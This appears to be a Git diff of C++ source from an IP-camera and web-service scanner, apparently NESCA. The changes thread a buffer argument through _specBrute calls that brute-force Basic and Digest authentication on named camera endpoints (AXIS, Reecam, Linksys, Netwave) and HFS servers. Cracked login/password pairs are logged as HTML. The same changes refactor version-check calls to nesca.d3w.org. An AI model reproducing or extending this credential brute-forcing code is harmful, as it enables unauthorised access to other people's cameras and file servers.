if (_specBrute(ip, port, "AXIS Camera", flag, "/mjpg/video.mjpg", "Basic Authorization", cp, size, buffcpy) == -1) {
|
||||||
if (_specBrute(ip, port, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, size) == -1) {
|
if (_specBrute(ip, port, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, size, buffcpy) == -1) {
|
||||||
_specBrute(ip, port, "AXIS Camera", flag, "/view/viewer_index.shtml?", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "AXIS Camera", flag, "/view/viewer_index.shtml?", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else if (flag == 19) //reecam cameras
|
else if (flag == 19) //reecam cameras
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "Reecam (network camera)", flag, "/videostream.cgi", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "Reecam (network camera)", flag, "/videostream.cgi", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 18) //linksys camera
|
else if (flag == 18) //linksys camera
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "Linksys camera", flag, "/img/main.cgi", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "Linksys camera", flag, "/img/main.cgi", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 17) //Real-time IP Camera Monitoring System
|
else if (flag == 17) //Real-time IP Camera Monitoring System
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 11)
|
else if (flag == 11)
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "Netwave IP Camera", flag, "/videostream.cgi", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "Netwave IP Camera", flag, "/videostream.cgi", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 12)
|
else if (flag == 12)
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "IP Camera", flag, "/view/view.shtml?videos=", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "IP Camera", flag, "/view/view.shtml?videos=", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 13)
|
else if (flag == 13)
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "IP Camera", flag, "/eng/view/indexjava.html", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "IP Camera", flag, "/eng/view/indexjava.html", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 14)
|
else if (flag == 14)
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "IP Camera", flag, "/rdr.cgi", "Basic Authorization", cp, size);
|
_specBrute(ip, port, "IP Camera", flag, "/rdr.cgi", "Basic Authorization", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 15) //For HFS
|
else if (flag == 15) //For HFS
|
||||||
{
|
{
|
||||||
char log[512] = { 0 };
|
char log[512] = { 0 };
|
||||||
++AnomC1;
|
++AnomC1;
|
||||||
|
|
||||||
const lopaStr &lps = BA::BALobby((string(ip) + "/~login").c_str(), port, false);
|
const lopaStr &lps = BA::BALobby((string(ip) + "/~login").c_str(), port, false, buffcpy);
|
||||||
sprintf(log, "[HFS]:<a href=\"http://%s:%d/\"><span style=\"color: #a1a1a1;\">%s:%d</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">%s Pass: %s:%s</font>",
|
sprintf(log, "[HFS]:<a href=\"http://%s:%d/\"><span style=\"color: #a1a1a1;\">%s:%d</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">%s Pass: %s:%s</font>",
|
||||||
ip, port, ip, port, finalstr, lps.login, lps.pass);
|
ip, port, ip, port, finalstr, lps.login, lps.pass);
|
||||||
|
|
||||||
@ -2673,11 +2683,11 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
|
|||||||
}
|
}
|
||||||
else if (flag == 1)
|
else if (flag == 1)
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, finalstr, flag, baPath, "[NORMAL]", cp, size);
|
_specBrute(ip, port, finalstr, flag, baPath, "[NORMAL]", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 101)
|
else if (flag == 101)
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, finalstr, flag, baPath, "[DIGEST]", cp, size);
|
_specBrute(ip, port, finalstr, flag, baPath, "[DIGEST]", cp, size, buffcpy);
|
||||||
}
|
}
|
||||||
else if (flag == 10)
|
else if (flag == 10)
|
||||||
{
|
{
|
||||||
|
@ -16,7 +16,9 @@ void _getNewMsg()
|
|||||||
|
|
||||||
std::string buffer;
|
std::string buffer;
|
||||||
std::vector<std::string> headerVector {"X-Nescav3: True"};
|
std::vector<std::string> headerVector {"X-Nescav3: True"};
|
||||||
Connector::nConnect(request, 80, &buffer, NULL, &headerVector);
|
|
||||||
|
Connector con;
|
||||||
|
con.nConnect(request, 80, &buffer, NULL, &headerVector);
|
||||||
|
|
||||||
char *ptr1 = NULL;
|
char *ptr1 = NULL;
|
||||||
if(buffer.size() > 0)
|
if(buffer.size() > 0)
|
||||||
|
@ -9,8 +9,9 @@ void _checkVer()
|
|||||||
while(true) {
|
while(true) {
|
||||||
const char request[64] = {"http://nesca.d3w.org/version"};
|
const char request[64] = {"http://nesca.d3w.org/version"};
|
||||||
std::string buffer;
|
std::string buffer;
|
||||||
std::vector<std::string> headerVector {"X-Nescav3: True"};
|
std::vector<std::string> headerVector{ "X-Nescav3: True" };
|
||||||
Connector::nConnect(request, 80, &buffer, NULL, &headerVector);
|
Connector con;
|
||||||
|
con.nConnect(request, 80, &buffer, NULL, &headerVector);
|
||||||
|
|
||||||
char *ptr1 = NULL;
|
char *ptr1 = NULL;
|
||||||
if(buffer.size() > 0)
|
if(buffer.size() > 0)
|
||||||
|
Loading…
Reference in New Issue
Block a user